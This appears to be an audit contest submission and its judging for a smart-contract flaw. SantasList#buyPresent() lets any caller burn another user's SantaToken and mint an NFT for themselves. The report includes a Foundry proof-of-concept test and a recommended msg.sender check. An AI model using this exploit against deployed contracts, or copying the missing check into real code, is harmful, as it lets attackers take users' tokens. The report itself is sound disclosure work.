Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can call `SantasList#buyPresent()` with arbitrary input address

Summary

Attacker can buy NFT token with other user's SantaToken

Vulnerability Details

There is no validation for the presentReceiver argument in SantasList#buyPresent().

Attacker can use address of any user who own SantaToken to mint NFT for himself.

Below is the PoC for the attack.

I added devMint() function in SantaToken contract for easily minting SantaToken for this PoC.

// SantaToken.sol
function devMint(address _to) external {
_mint(_to, 1e18);
}
// SantasListTest.t.sol
function testBurnSantaTokenForArbitraryUser() public {
vm.startPrank(attacker);
assertEq(santaToken.balanceOf(user), 0);
// Mint 1 token to user
santaToken.devMint(user);
assertEq(santaToken.balanceOf(user), 1e18);
// Attacker can burn user's token
santasList.buyPresent(user);
assertEq(santaToken.balanceOf(user), 0);
// Attacker now have 1 NFT token
assertEq(santasList.balanceOf(attacker), 1);
vm.stopPrank();
}

Impact

Attacker can mint any number of NFT as he want without having any SantaToken token.

Tools Used

Manual review.

Recommendations

Add validation for presentReceiver input for SantasList#buyPresent() function.

function buyPresent(address presentReceiver) external {
require(msg.sender == presentReceiver, 'Invalid receiver');
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!